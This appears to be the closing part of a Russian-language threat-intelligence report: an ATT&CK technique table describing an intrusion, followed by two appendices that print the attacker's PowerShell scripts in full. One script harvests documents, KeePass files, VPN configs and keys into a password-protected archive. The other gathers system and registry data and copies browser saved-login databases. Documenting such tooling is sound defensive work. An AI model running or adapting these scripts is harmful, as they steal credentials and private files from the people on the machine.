OS Credential Dumping: DCSync ID: T1003.006 |
Использование DCsync |
|
Input Capture: Keylogging ID: T1417.001 |
CMPSpy |
|
OS Credential Dumping: LSASS Memory ID: T1003.001 |
Использование Mimikatz |
|
Steal or Forge Kerberos
Tickets: Kerberoasting |
Использование kerberoasting |
|
Unsecured Credentials |
Получение незащищенных данных, например через SessionGopher |
|
OS Credential Dumping: Security Account Manager ID: T1003.002 |
Дамп реестра SAM, SYSTEM |
|
Execution |
Command and Scripting Interpreter: Windows Command Shell ID: T1059.003 |
Использование cmd, bat |
Command and Scripting Interpreter: PowerShell ID: T1059.001 |
Использование Powershell |
|
Command and Scripting Interpreter: Visual Basic ID: T1059.005 |
Использование vbs файлов |
|
Command and Scripting Interpreter: Unix Shell ID: T1059.004 |
Использование bash |
|
Lateral movement |
Remote Services: SSH ID: T1021.004 |
Следы использования ssh для доступа к хостам |
Remote Services: Remote Desktop Protocol T1021.001 |
Для перемещения по локальной сети использовался RDP |
|
Remote Services: SMB/Windows Admin Shares ID: T1021.002 |
Smbexec |
|
Remote Services: Windows Remote Management ID: T1021.006 |
Активное использование wmi для доступа к системам |
|
Use Alternate Authentication
Material: Pass the Hash |
Использование Pass the Hash |
|
Defense Evasion |
Indicator Removal: Clear Windows Event Logs |
Indicator Removal: Clear Windows Event Logs |
Deobfuscate/Decode Files or Information ID: T1140 |
Данные иногда закодированы или зашифрованы |
|
Indicator Removal: File Deletion ID: T1070.004 |
Удаление файлов, использованных в атаке |
|
Masquerading: Masquerade File Type ID: T1036.008 |
PNG который не картинка, а шелл код |
|
Modify Registry ID: T1112 |
Модификация SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest UseLogonCredential |
|
Hijack Execution Flow: DLL Side-Loading ID: T1574.002 |
Dll sideloading |
|
Process Injection: Dynamic-link
Library Injection |
Загрузка вредоносных .NET-сборок в память процесса w3wp.exe |
|
Process Injection: Thread Execution Hijacking T1055.003 |
Загрузка .NET RAT в процесс powershell.exe |
|
Masquerading: Match Legitimate
Name or Location |
Наименования .NET-сборок именами, мимикрирующими под легитимные .NET-сборки для дополнительной скрытности |
|
Indicator Removal on Host: File
Deletion |
Удаление своих файлов и данных |
|
Masquerading: Masquerade Task or Service ID: T1036.004 |
Наименования сервисов мимикрируют под легитимные |
|
Persistence
|
Valid Accounts: Domain
Accounts |
Использование существующих УЗ |
Valid Accounts: Local Accounts ID: T1078.003 |
Использование существующих УЗ |
|
Server Software Component: Web Shell ID: T1505.003 |
Размещение веб-шеллов |
|
T1543.003 Windows Service |
Использование сервисов для закрепления |
|
T1053 .005 Scheduled Task |
Создание задач для закрепления |
|
External Remote Services |
Использование VPN для подключений |
|
Command and Control |
Ingress Tool Transfer |
Следы wget, curl |
Application Layer Protocol: Web Protocols ID: T1071.001 |
Атакующий отправлял POST-запросы с вредоносными нагрузками VIEWSTATE |
|
T1001.003 Data Obfuscation: Protocol Impersonation |
Отправка POST-запросов с параметрами, имена которых мимикрируют под легитимные названия cookies в POST-запросах механизма Form-based Authentication |
|
Proxy |
Venom Proxy |
|
Exfiltration |
Exfiltration Over C2 Channel |
Передача данных на С2 |
Exfiltration Over Web Service ID: T1567 |
Передача данных через exchange |
|
Collection |
Archive Collected Data: Archive via Utility ID: T1560.001 |
Создание архива для последующей загрузки, через 7zip или Compress-Archive |
Email Collection: Local Email Collection ID: T1114.001 |
Копирование базы данных outlook с расширением pst у интересующих учетных записей |
|
Automated Collection |
Использование скриптов для сбора данных |
|
Data from Local System ID: T1005 |
Сбор данных с локальных машин |
|
Screen Capture ID: T1113 |
Запись экрана |
|
Data from Information Repositories ID: T1213 |
Доступ и сбор интересующих данных из различных автоматизированных систем |
Приложение 5. Powershell-скрипт для сбора данных пользователей
Примечание: скрипт приведен к читаемому виду
$ErrorActionPreference = "Stop"
#$VerbosePreference = "continue", $consoleAllocated = [Environment]::UserInteractive
function AllocConsole() {
if($Global:consoleAllocated) {
return
}
cmd /c ver | Out-Null
$a = @"
[DllImport("kernel32", SetLastError = true)], public static extern bool AllocConsole();
"@
$params = New-Object CodeDom.Compiler.CompilerParameters
$params.MainClass = "methods"
$params.GenerateInMemory = $true
$params.CompilerOptions = "/unsafe"
$r = Add-Type -MemberDefinition $a -Name methods -Namespace kernel32 -PassThru -CompilerParameters $params
Write-Verbose "Allocating console"
[kernel32.methods]::AllocConsole() | Out-Null
Write-Verbose "Console allocated"
$Global:consoleAllocated = $true
}
function RunConsole($scriptBlock) {
AllocConsole
$encoding = [Console]::OutputEncoding
[Console]::OutputEncoding = [System.Text.Encoding]::GetEncoding("cp866")
$prevErrAction = $ErrorActionPreference
$ErrorActionPreference = "Continue"
try {
$scriptBlock
}
finally {
$ErrorActionPreference = $prevErrAction
[Console]::OutputEncoding = $encoding
}
}
RunConsole {
$pth='c:\ProgramData\OFFICEDA'
$pmd='c:\programdata\'
$cname=Get-WmiObject -Class Win32_ComputerSystem | %{$_.name}
$fp=$cname+'@'+(get-date).ToString("yyyy-MM-dd")
$dfile=$pmd+$fp+'.zip'
$dzfile=$pmd+$fp+'.7z'
$pinf=Get-WmiObject -Query "select * from win32_process where name='explorer.exe'"
$lusrs=@($pinf | % { $_.GetOwner().User } | Sort-Object -Unique)
$z7="C:\Program Files\7-Zip\7z.exe"
function dfc {
if(!(Test-Path $pth)) {
mkdir $pth -Force
$sdate='01/01/2020'
}
else {
$sdate=(gi $pth).LastWriteTime.ToString("MM/dd/yyyy")
}
$com="c:\users\$lusrs"
$dirs = @('\desktop','\documents','\downloads','\AppData\Local\Microsoft\Windows\INetCache\','\AppData\Local\Packages','\AppData\Local\Microsoft\Windows\Temporary Internet Files\')
$dirs | %{
gci $com$_ -Recurse -Depth 10 -Force -ErrorAction SilentlyContinue |
where {
$_.Extension -match '\.(docx?|xlsx?|rtf|dst|ovpn|kdbx|txt|xps|key|cer)$' -and $_.LastWriteTime -ge $sdate
} |
Select-Object FullName |
%{
copy $_.FullName $pth
ac $pth\log.log $_.FullName
}
}
sleep 10
try {
Compress-Archive -Path "$pth\*" -DestinationPath $dfile -Force -ErrorAction SilentlyContinue | out-null
sleep 5
rm "$pth\*" -Force -ErrorAction SilentlyContinue
} catch {
$errorMessage = 'Error message: ' + $_.Exception.Message
Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
}
if(Test-Path $z7) {
$tp='elDFEef234@#';
$ifs=gci $pth -Force
if($ifs -ne $null) {
try {
saps -Wi Hidden -f $z7 -A "a $dzfile -p$tp -mhe $pth\* -sdel" -Wai -ErrorAction SilentlyContinue;
} catch {
$errorMessage = 'Error message: ' + $_.Exception.Message Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
}
} else {
try {
saps -Wi Hidden -f $z7 -A "a $dzfile -p$tp -mhe $dfile -sdel" -Wai -ErrorAction SilentlyContinue;
} catch {
$errorMessage = 'Error message: ' + $_.Exception.Message
Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
}
}
}
}
dfc
}
Приложение 6. Powershell скрипт для сбора системной информации
Примечание: скрипт приведен к читаемому виду
$ErrorActionPreference = "Stop"
#$VerbosePreference = "continue"
$consoleAllocated = [Environment]::UserInteractive
function AllocConsole() {
if($Global:consoleAllocated) {}
cmd /c ver | Out-Null
$a = @"
[DllImport("kernel32" SetLastError = true)] public static extern bool AllocConsole();
"@
$params = New-Object CodeDom.Compiler.CompilerParameters
$params.MainClass = "methods"
$params.GenerateInMemory = $true
$params.CompilerOptions = "/unsafe"
$r = Add-Type -MemberDefinition $a -Name methods -Namespace kernel32 -PassThru -CompilerParameters $params
Write-Verbose "Allocating console"
[kernel32.methods]::AllocConsole() | Out-Null
Write-Verbose "Console allocated"
$Global:consoleAllocated = $true
}
function RunConsole($scriptBlock) {
AllocConsole
$encoding = [Console]::OutputEncoding
[Console]::OutputEncoding = [System.Text.Encoding]::GetEncoding("cp866")
$prevErrAction = $ErrorActionPreference
$ErrorActionPreference = "Continue"
try {
$scriptBlock
}
finally {
$ErrorActionPreference = $prevErrAction
[Console]::OutputEncoding = $encoding
}
}
RunConsole {
$pth='c:\ProgramData\Microsoft\OFFICEDRM\'
$cname=Get-WmiObject -Class Win32_ComputerSystem | %{$_.name}
$fp=$cname+'@'+(get-date).ToString("yyyy-MM-dd")
$infofile=$pth+$fp+'.inf'
$diskfile=$pth+$fp+'disk'+'.inf'
$dfile=$pth+$fp+'inf'+'.zip'
$pinf=Get-WmiObject -Query "select * from win32_process where name='explorer.exe'"
$lusrs=@($pinf | % { $_.GetOwner().User } | Sort-Object -Unique)
if(!(Test-Path $pth)){mkdir $pth -Force;$st='01/13/2017'}
else{$st=(gi $pth).LastWriteTime.ToString("MM/dd/yyyy")}
([datetime]::Now.AddMilliseconds(-([environment]::TickCount))) | Out-File -Encoding UTF8 -Append $infofile
Get-NetIPConfiguration -Detailed | Out-File -Encoding UTF8 -Append $infofile
Resolve-DnsName -Name mail.ru -Server 8.8.8.8 -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
Get-NetTCPConnection | Out-File -Encoding UTF8 -Append $infofile
Get-NetNeighbor | Out-File -Encoding UTF8 -Append $infofile
Get-NetRoute | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject win32_networkadapterconfiguration -filter "ipenabled = 'True'" | Select-Object PSComputerName,Description,DHCPLeaseExpires,DHCPServer,DNSDomain,DNSDomainSuffixSearchOrder,IPAddress,DefaultIPGateway,IPSubnet,MACAddress | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption,CSName,InstallDate,LastBootUpTime,MUILanguages,OSArchitecture,Version | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject -Class Win32_ComputerSystem | Select-Object name,Domain,Manufacturer,Model,PrimaryOwnerName,TotalPhysicalMemory,UserName,Workgroup | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject -Class win32_logicaldisk | Out-File -Encoding UTF8 -Append $infofile
$lcusrs=Get-LocalUser | %{$_.name}
foreach ($lcusr in $lcusrs) {
Get-LocalUser -Name $lcusr | fl * | Out-File -Encoding UTF8 -Append $infofile
},
Get-WmiObject -Class Win32_Process | ?{$_.path -ne $null} | %{"`nprocessname:"+$_.processname,"`nprocessid:"+$_.processid,"`npath:"+$_.path} | Out-File -Encoding UTF8 -Append $infofile
$HKU = Get-PSDrive HKU -ea silentlycontinue
if (!$HKU ) {
New-PSDrive -Name HKU -PsProvider Registry HKEY_USERS | out-null
Set-Location HKU:
}
$sids = Get-ChildItem -path "hku:" | %{$_.PSChildName}
Get-ItemProperty "hklm:system\currentcontrolset\enum\usbstor" | Out-File -Encoding UTF8 -Append $infofile
foreach($sid in $sids) {
Get-ItemProperty -Path "HKU:\$sid\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
Get-ItemProperty -Path "HKU:\$sid\Software\Microsoft\Internet Explorer\TypedURLs" -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
Get-ItemProperty -Path "HKU:\$sid\SOFTWARE\SimonTatham\PuTTY\SshHostKeys" -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
Get-ItemProperty -Path "HKU:\$sid\Software\Microsoft\Terminal Server Client\default" -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
$ser=Get-ChildItem -Path "HKU:\$sid\Software\Microsoft\Terminal Server Client\servers" -Recurse -Force -ErrorAction SilentlyContinue | ft;,
Out-File -InputObject $ser -Encoding UTF8 -Append $infofile
}
gci 'c:\Program Files' -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
gci 'c:\Program Files (x86)' -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
gci C:\Users\$lusrs\AppData\Local\Microsoft\Credentials\ -ErrorAction SilentlyContinue -for | Out-File -Encoding UTF8 -Append $infofile
$dirs = @('\desktop','\documents','\downloads','\appdata\local\Ngateclient')
foreach($dir in $dirs) {
gci "c:\users\$lusrs\$dir" -Recurse -Depth 10 -Force -ErrorAction SilentlyContinue | ?{$_.Attributes -match 'Archive'} | %{"{0},{1}KB,{2},{3}" -f $_.fullName,($_.length/1kb),$_.CreationTime,$_.LastWriteTime} | out-file -encoding utf8 -append $diskfile
}
$acp="C:\Users\$lusrs\AppData\Local\Google\Chrome\User Data\Default"
$ycp="C:\Users\$lusrs\AppData\Local\Yandex\YandexBrowser\User Data\Default"
if(test-path $acp) {
copy "$acp\history" $pth"cmhistory" -Force
copy "$acp\Bookmarks" $pth"cmBookmarks" -Force
copy "$acp\Login Data" $pth"cmlogin" -Force
}
if(Test-Path $ycp) {
copy "$ycp\history" $pth"ydhistory" -Force
copy "Bookmarks" $pth"ydBookmarks" -Force
copy "Web Data" $pth"yddata" -Force
}
Compress-Archive -Path "$pth\*" -DestinationPath $dfile -Force -ErrorAction SilentlyContinue | out-null
}